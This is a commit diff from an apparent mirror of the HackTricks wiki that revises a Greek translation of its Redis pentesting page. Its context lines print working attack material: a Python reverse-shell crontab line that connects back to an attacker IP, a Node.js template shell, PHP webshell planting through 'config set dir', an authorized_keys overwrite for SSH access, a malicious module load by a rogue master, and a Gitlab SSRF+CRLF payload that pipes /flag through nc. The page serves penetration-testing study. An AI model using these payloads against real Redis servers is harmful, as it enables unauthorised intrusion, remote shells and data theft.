mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/6379-pentesting-redis.md']
This commit is contained in:
parent
d6d9e588ab
commit
cca793831e
@ -4,7 +4,7 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Από [the docs](https://redis.io/topics/introduction): Το Redis είναι μια ανοιχτού κώδικα (με άδεια BSD), in-memory **data structure store**, που χρησιμοποιείται ως **database**, cache και message broker).
|
||||
Από [the docs](https://redis.io/topics/introduction): Το Redis είναι ένα ανοιχτού κώδικα (με άδεια BSD), in-memory **data structure store**, που χρησιμοποιείται ως **database**, cache και message broker).
|
||||
|
||||
Από προεπιλογή, το Redis χρησιμοποιεί ένα πρωτόκολλο βασισμένο σε απλό κείμενο, αλλά πρέπει να έχετε υπόψη ότι μπορεί επίσης να υλοποιήσει **ssl/tls**. Μάθετε πώς να [run Redis with ssl/tls here](https://fossies.org/linux/redis/TLS.md).
|
||||
|
||||
@ -13,16 +13,16 @@
|
||||
PORT STATE SERVICE VERSION
|
||||
6379/tcp open redis Redis key-value store 4.0.9
|
||||
```
|
||||
## Αυτόματη Καταμέτρηση
|
||||
## Αυτόματη Αρίθμηση
|
||||
|
||||
Ορισμένα αυτοματοποιημένα εργαλεία που μπορούν να βοηθήσουν στην απόκτηση πληροφοριών από μια redis instance:
|
||||
```bash
|
||||
nmap --script redis-info -sV -p 6379 <IP>
|
||||
msf> use auxiliary/scanner/redis/redis_server
|
||||
```
|
||||
## Χειροκίνητη Αρίθμηση
|
||||
## Manual Enumeration
|
||||
|
||||
### Μπανέρ
|
||||
### Banner
|
||||
|
||||
Το Redis είναι ένα **πρωτόκολλο βασισμένο σε κείμενο**, μπορείτε απλά να **στείλετε την εντολή σε ένα socket** και οι επιστρεφόμενες τιμές θα είναι αναγνώσιμες. Επίσης, θυμηθείτε ότι το Redis μπορεί να τρέχει χρησιμοποιώντας **ssl/tls** (αλλά αυτό είναι πολύ παράξενο).
|
||||
|
||||
@ -35,19 +35,19 @@ redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools
|
||||
```
|
||||
-NOAUTH Authentication required.
|
||||
```
|
||||
Σε αυτή την τελευταία περίπτωση, αυτό σημαίνει ότι **χρειάζεστε έγκυρα διαπιστευτήρια** για να αποκτήσετε πρόσβαση στην παρουσία Redis.
|
||||
Σε αυτή την τελευταία περίπτωση, αυτό σημαίνει ότι **χρειάζεστε έγκυρα διαπιστευτήρια** για να αποκτήσετε πρόσβαση στην εγκατάσταση του Redis.
|
||||
|
||||
### Αυθεντικοποίηση Redis
|
||||
|
||||
**Από προεπιλογή** η Redis μπορεί να προσπελαστεί **χωρίς διαπιστευτήρια**. Ωστόσο, μπορεί να **ρυθμιστεί** ώστε να υποστηρίζει **μόνο κωδικό πρόσβασης ή όνομα χρήστη + κωδικό πρόσβασης**.\
|
||||
**Από προεπιλογή** το Redis μπορεί να προσπελαστεί **χωρίς διαπιστευτήρια**. Ωστόσο, μπορεί να **ρυθμιστεί** ώστε να υποστηρίζει **μόνο κωδικό πρόσβασης ή όνομα χρήστη + κωδικό πρόσβασης**.\
|
||||
Είναι δυνατόν να **ορίσετε έναν κωδικό πρόσβασης** στο αρχείο _**redis.conf**_ με την παράμετρο `requirepass` **ή προσωρινά** μέχρι να επανεκκινήσει η υπηρεσία συνδεόμενοι σε αυτήν και εκτελώντας: `config set requirepass p@ss$12E45`.\
|
||||
Επίσης, ένα **όνομα χρήστη** μπορεί να ρυθμιστεί στην παράμετρο `masteruser` μέσα στο αρχείο _**redis.conf**_.
|
||||
|
||||
> [!NOTE]
|
||||
> Εάν έχει ρυθμιστεί μόνο κωδικός πρόσβασης, το όνομα χρήστη που χρησιμοποιείται είναι "**default**".\
|
||||
> Επίσης, σημειώστε ότι **δεν υπάρχει τρόπος να βρείτε εξωτερικά** αν η Redis έχει ρυθμιστεί με μόνο κωδικό πρόσβασης ή όνομα χρήστη + κωδικό πρόσβασης.
|
||||
> Επίσης, σημειώστε ότι **δεν υπάρχει τρόπος να βρείτε εξωτερικά** αν το Redis έχει ρυθμιστεί με μόνο κωδικό πρόσβασης ή όνομα χρήστη + κωδικό πρόσβασης.
|
||||
|
||||
Σε περιπτώσεις όπως αυτή, θα **χρειαστεί να βρείτε έγκυρα διαπιστευτήρια** για να αλληλεπιδράσετε με τη Redis, οπότε θα μπορούσατε να προσπαθήσετε να [**brute-force**](../generic-hacking/brute-force.md#redis) την.\
|
||||
Σε περιπτώσεις όπως αυτή, θα **χρειαστεί να βρείτε έγκυρα διαπιστευτήρια** για να αλληλεπιδράσετε με το Redis, οπότε θα μπορούσατε να προσπαθήσετε να [**brute-force**](../generic-hacking/brute-force.md#redis) αυτό.\
|
||||
**Σε περίπτωση που βρείτε έγκυρα διαπιστευτήρια, πρέπει να αυθεντικοποιήσετε τη συνεδρία** μετά την εγκαθίδρυση της σύνδεσης με την εντολή:
|
||||
```bash
|
||||
AUTH <username> <password>
|
||||
@ -73,13 +73,13 @@ rename-command FLUSHDB ""
|
||||
```
|
||||
Περισσότερα σχετικά με τη ασφαλή διαμόρφωση μιας υπηρεσίας Redis εδώ: [https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04)
|
||||
|
||||
Μπορείτε επίσης να **παρακολουθήσετε σε πραγματικό χρόνο τις εντολές Redis** που εκτελούνται με την εντολή **`monitor`** ή να λάβετε τις **25 πιο αργές ερωτήσεις** με **`slowlog get 25`**
|
||||
Μπορείτε επίσης να **παρακολουθείτε σε πραγματικό χρόνο τις εντολές Redis** που εκτελούνται με την εντολή **`monitor`** ή να λάβετε τις **25 πιο αργές ερωτήσεις** με **`slowlog get 25`**
|
||||
|
||||
Βρείτε περισσότερες ενδιαφέρουσες πληροφορίες σχετικά με περισσότερες εντολές Redis εδώ: [https://lzone.de/cheat-sheet/Redis](https://lzone.de/cheat-sheet/Redis)
|
||||
|
||||
### **Εξαγωγή Βάσης Δεδομένων**
|
||||
|
||||
Μέσα στο Redis οι **βάσεις δεδομένων είναι αριθμοί που ξεκινούν από το 0**. Μπορείτε να δείτε αν χρησιμοποιείται κάποια στην έξοδο της εντολής `info` μέσα στο τμήμα "Keyspace":
|
||||
Μέσα στο Redis οι **βάσεις δεδομένων είναι αριθμοί που ξεκινούν από το 0**. Μπορείτε να δείτε αν χρησιμοποιείται κάποια από αυτές στην έξοδο της εντολής `info` μέσα στο τμήμα "Keyspace":
|
||||
|
||||
.png>)
|
||||
|
||||
@ -96,7 +96,7 @@ KEYS *
|
||||
GET <KEY>
|
||||
[ ... Get Key ... ]
|
||||
```
|
||||
Σε περίπτωση που λάβετε το εξής σφάλμα `-WRONGTYPE Operation against a key holding the wrong kind of value` κατά την εκτέλεση του `GET <KEY>`, είναι επειδή το κλειδί μπορεί να είναι κάτι άλλο από μια συμβολοσειρά ή έναν ακέραιο και απαιτεί έναν ειδικό τελεστή για να το εμφανίσει.
|
||||
Σε περίπτωση που λάβετε το εξής σφάλμα `-WRONGTYPE Operation against a key holding the wrong kind of value` κατά την εκτέλεση του `GET <KEY>`, είναι επειδή το κλειδί μπορεί να είναι κάτι άλλο από μια συμβολοσειρά ή έναν ακέραιο και απαιτεί έναν ειδικό χειριστή για να το εμφανίσει.
|
||||
|
||||
Για να γνωρίζετε τον τύπο του κλειδιού, χρησιμοποιήστε την εντολή `TYPE`, παράδειγμα παρακάτω για κλειδιά λίστας και κατακερματισμού.
|
||||
```bash
|
||||
@ -122,7 +122,7 @@ DUMP <key>
|
||||
```
|
||||
### PHP Webshell
|
||||
|
||||
Πληροφορίες από [**εδώ**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Πρέπει να γνωρίζετε το **path** του **φακέλου της ιστοσελίδας**:
|
||||
Info from [**here**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). Πρέπει να γνωρίζετε το **path** του **φακέλου της ιστοσελίδας**:
|
||||
```
|
||||
root@Urahara:~# redis-cli -h 10.85.0.52
|
||||
10.85.0.52:6379> config set dir /usr/share/nginx/html
|
||||
@ -155,13 +155,13 @@ sh.stderr.pipe(client);
|
||||
)()}}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Σημειώστε ότι **πολλές μηχανές προτύπων αποθηκεύουν** τα πρότυπα στη **μνήμη**, οπότε ακόμη και αν τα αντικαταστήσετε, το νέο **δεν θα εκτελείται**. Σε αυτές τις περιπτώσεις, είτε ο προγραμματιστής άφησε ενεργοποιημένη την αυτόματη επαναφόρτωση είτε πρέπει να κάνετε DoS στην υπηρεσία (και να περιμένετε ότι θα επανεκκινηθεί αυτόματα).
|
||||
> Σημειώστε ότι **πολλές μηχανές προτύπων αποθηκεύουν** τα πρότυπα στη **μνήμη**, οπότε ακόμη και αν τα αντικαταστήσετε, το νέο **δεν θα εκτελείται**. Σε αυτές τις περιπτώσεις, είτε ο προγραμματιστής άφησε ενεργό το αυτόματο επαναφόρτωμα είτε πρέπει να κάνετε DoS στην υπηρεσία (και να περιμένετε ότι θα επανεκκινηθεί αυτόματα).
|
||||
|
||||
### SSH
|
||||
|
||||
Παράδειγμα [από εδώ](https://blog.adithyanak.com/oscp-preparation-guide/enumeration)
|
||||
|
||||
Παρακαλώ να είστε ενήμεροι ότι το **`config get dir`** αποτέλεσμα μπορεί να αλλάξει μετά από άλλες χειροκίνητες εντολές εκμετάλλευσης. Συνιστάται να το εκτελέσετε πρώτα αμέσως μετά την είσοδο στο Redis. Στην έξοδο του **`config get dir`** μπορείτε να βρείτε το **home** του **redis user** (συνήθως _/var/lib/redis_ ή _/home/redis/.ssh_), και γνωρίζοντας αυτό ξέρετε πού μπορείτε να γράψετε το αρχείο `authenticated_users` για πρόσβαση μέσω ssh **με τον χρήστη redis**. Αν γνωρίζετε το home άλλου έγκυρου χρήστη όπου έχετε δικαιώματα εγγραφής, μπορείτε επίσης να το εκμεταλλευτείτε:
|
||||
Παρακαλώ να είστε ενήμεροι ότι το αποτέλεσμα **`config get dir`** μπορεί να αλλάξει μετά από άλλες χειροκίνητες εντολές εκμετάλλευσης. Συνιστάται να το εκτελέσετε πρώτα αμέσως μετά την είσοδο στο Redis. Στην έξοδο του **`config get dir`** μπορείτε να βρείτε το **home** του **χρήστη redis** (συνήθως _/var/lib/redis_ ή _/home/redis/.ssh_), και γνωρίζοντας αυτό ξέρετε πού μπορείτε να γράψετε το αρχείο `authenticated_users` για πρόσβαση μέσω ssh **με τον χρήστη redis**. Αν γνωρίζετε το home άλλου έγκυρου χρήστη όπου έχετε δικαιώματα εγγραφής, μπορείτε επίσης να το εκμεταλλευτείτε:
|
||||
|
||||
1. Δημιουργήστε ένα ζεύγος δημόσιου-ιδιωτικού κλειδιού ssh στον υπολογιστή σας: **`ssh-keygen -t rsa`**
|
||||
2. Γράψτε το δημόσιο κλειδί σε ένα αρχείο : **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`**
|
||||
@ -182,6 +182,8 @@ OK
|
||||
|
||||
**Αυτή η τεχνική είναι αυτοματοποιημένη εδώ:** [https://github.com/Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit)
|
||||
|
||||
Επιπλέον, οι χρήστες του συστήματος μπορούν επίσης να ανακαλυφθούν ελέγχοντας με `config set dir /home/USER`, και μετά την επιβεβαίωση, ένα νέο `authorized_keys` μπορεί να γραφτεί στο `/home/USER/.ssh/authorized_keys`. Χρησιμοποιήστε [redis-rce-ssh](https://github.com/captain-woof/redis-rce-ssh) για να κάνετε brute force με μια λίστα ονομάτων χρηστών και να αντικαταστήσετε το `authorized_keys`.
|
||||
|
||||
### Crontab
|
||||
```
|
||||
root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
|
||||
@ -200,7 +202,7 @@ OK
|
||||
### Φόρτωση Μονάδας Redis
|
||||
|
||||
1. Ακολουθώντας τις οδηγίες από [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) μπορείτε να **συγκεντρώσετε μια μονάδα redis για να εκτελέσετε αυθαίρετες εντολές**.
|
||||
2. Στη συνέχεια, χρειάζεστε κάποιον τρόπο για να **ανεβάσετε τη συγκεντρωμένη** μονάδα
|
||||
2. Στη συνέχεια, χρειάζεστε κάποιον τρόπο να **ανεβάσετε τη συγκεντρωμένη** μονάδα.
|
||||
3. **Φορτώστε τη μονάδα που ανέβηκε** κατά την εκτέλεση με `MODULE LOAD /path/to/mymodule.so`
|
||||
4. **Λίστα φορτωμένων μονάδων** για να ελέγξετε αν φορτώθηκε σωστά: `MODULE LIST`
|
||||
5. **Εκτελέστε** **εντολές**:
|
||||
@ -215,7 +217,7 @@ OK
|
||||
|
||||
6. Ξεφορτώστε τη μονάδα όποτε θέλετε: `MODULE UNLOAD mymodule`
|
||||
|
||||
### Παράκαμψη sandbox LUA
|
||||
### Παράκαμψη Sandbox LUA
|
||||
|
||||
[**Εδώ**](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) μπορείτε να δείτε ότι το Redis χρησιμοποιεί την εντολή **EVAL** για να εκτελέσει **κώδικα Lua σε sandbox**. Στην συνδεδεμένη ανάρτηση μπορείτε να δείτε **πώς να το καταχραστείτε** χρησιμοποιώντας τη λειτουργία **dofile**, αλλά [φαίνεται](https://stackoverflow.com/questions/43502696/redis-cli-code-execution-using-eval) ότι αυτό δεν είναι πλέον δυνατό. Ούτως ή άλλως, αν μπορείτε να **παράκαμψετε το Lua** sandbox θα μπορούσατε να **εκτελέσετε αυθαίρετες** εντολές στο σύστημα. Επίσης, από την ίδια ανάρτηση μπορείτε να δείτε κάποιες **επιλογές για να προκαλέσετε DoS**.
|
||||
|
||||
@ -225,7 +227,7 @@ OK
|
||||
|
||||
### Μονάδα Master-Slave
|
||||
|
||||
Ο κύριος redis συγχρονίζει αυτόματα όλες τις λειτουργίες στον slave redis, που σημαίνει ότι μπορούμε να θεωρήσουμε την ευπάθεια redis ως slave redis, συνδεδεμένο με τον κύριο redis που ελέγχουμε, στη συνέχεια μπορούμε να εισάγουμε την εντολή στον δικό μας redis.
|
||||
Η κύρια redis όλες οι λειτουργίες συγχρονίζονται αυτόματα στη slave redis, που σημαίνει ότι μπορούμε να θεωρήσουμε την ευπάθεια redis ως μια slave redis, συνδεδεμένη με την κύρια redis που ελέγχουμε εμείς, στη συνέχεια μπορούμε να εισάγουμε την εντολή στη δική μας redis.
|
||||
```
|
||||
master redis : 10.85.0.51 (Hacker's Server)
|
||||
slave redis : 10.85.0.52 (Target Vulnerability Server)
|
||||
@ -239,7 +241,7 @@ set mykey2 helloworld
|
||||
```
|
||||
## SSRF talking to Redis
|
||||
|
||||
Αν μπορείτε να στείλετε **καθαρό κείμενο** αίτημα **στο Redis**, μπορείτε να **επικοινωνήσετε μαζί του** καθώς το Redis θα διαβάσει γραμμή προς γραμμή το αίτημα και θα απαντήσει μόνο με σφάλματα για τις γραμμές που δεν καταλαβαίνει:
|
||||
Αν μπορείτε να στείλετε **clear text** αίτημα **στο Redis**, μπορείτε να **επικοινωνήσετε μαζί του** καθώς το Redis θα διαβάσει γραμμή προς γραμμή το αίτημα και θα απαντήσει μόνο με σφάλματα για τις γραμμές που δεν καταλαβαίνει:
|
||||
```
|
||||
-ERR wrong number of arguments for 'get' command
|
||||
-ERR unknown command 'Host:'
|
||||
@ -249,11 +251,11 @@ set mykey2 helloworld
|
||||
-ERR unknown command 'Cache-Control:'
|
||||
-ERR unknown command 'Connection:'
|
||||
```
|
||||
Ως εκ τούτου, αν βρείτε μια **SSRF vuln** σε μια ιστοσελίδα και μπορείτε να **ελέγξετε** κάποιες **κεφαλίδες** (ίσως με μια CRLF vuln) ή **παραμέτρους POST**, θα είστε σε θέση να στείλετε αυθαίρετες εντολές στο Redis.
|
||||
Ως εκ τούτου, αν βρείτε μια **SSRF vuln** σε μια ιστοσελίδα και μπορείτε να **ελέγξετε** κάποιες **κεφαλίδες** (ίσως με μια ευπάθεια CRLF) ή **παραμέτρους POST**, θα είστε σε θέση να στείλετε αυθαίρετες εντολές στο Redis.
|
||||
|
||||
### Παράδειγμα: Gitlab SSRF + CRLF σε Shell
|
||||
|
||||
Στο **Gitlab11.4.7** ανακαλύφθηκε μια **SSRF** ευπάθεια και μια **CRLF**. Η **SSRF** ευπάθεια ήταν στη **λειτουργία εισαγωγής έργου από URL** κατά τη δημιουργία ενός νέου έργου και επέτρεπε την πρόσβαση σε αυθαίρετες IPs με τη μορφή \[0:0:0:0:0:ffff:127.0.0.1] (αυτό θα έχει πρόσβαση στο 127.0.0.1), και η **CRLF** vuln εκμεταλλεύτηκε απλά **προσθέτοντας %0D%0A** χαρακτήρες στο **URL**.
|
||||
Στο **Gitlab11.4.7** ανακαλύφθηκε μια ευπάθεια **SSRF** και μια **CRLF**. Η ευπάθεια **SSRF** βρισκόταν στη **λειτουργία εισαγωγής έργου από URL** κατά τη δημιουργία ενός νέου έργου και επέτρεπε την πρόσβαση σε αυθαίρετες IPs με τη μορφή \[0:0:0:0:0:ffff:127.0.0.1] (αυτό θα προσπελάσει το 127.0.0.1), και η ευπάθεια **CRLF** εκμεταλλεύτηκε απλά **προσθέτοντας χαρακτήρες %0D%0A** στο **URL**.
|
||||
|
||||
Ως εκ τούτου, ήταν δυνατό να **καταχραστούν αυτές οι ευπάθειες για να μιλήσουν με την παρουσία Redis** που **διαχειρίζεται τις ουρές** από **gitlab** και να καταχραστούν αυτές τις ουρές για να **αποκτήσουν εκτέλεση κώδικα**. Το payload κατάχρησης της ουράς Redis είναι:
|
||||
```
|
||||
@ -266,6 +268,6 @@ exec
|
||||
```
|
||||
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
|
||||
```
|
||||
_Για κάποιο λόγο (όπως για τον συγγραφέα του_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _από όπου προήλθε αυτή η πληροφορία) η εκμετάλλευση λειτούργησε με το σχήμα `git` και όχι με το σχήμα `http`._
|
||||
_Για κάποιο λόγο (όπως για τον συγγραφέα του_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _από όπου προήλθε αυτή η πληροφορία) η εκμετάλλευση λειτούργησε με το `git` scheme και όχι με το `http` scheme._
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user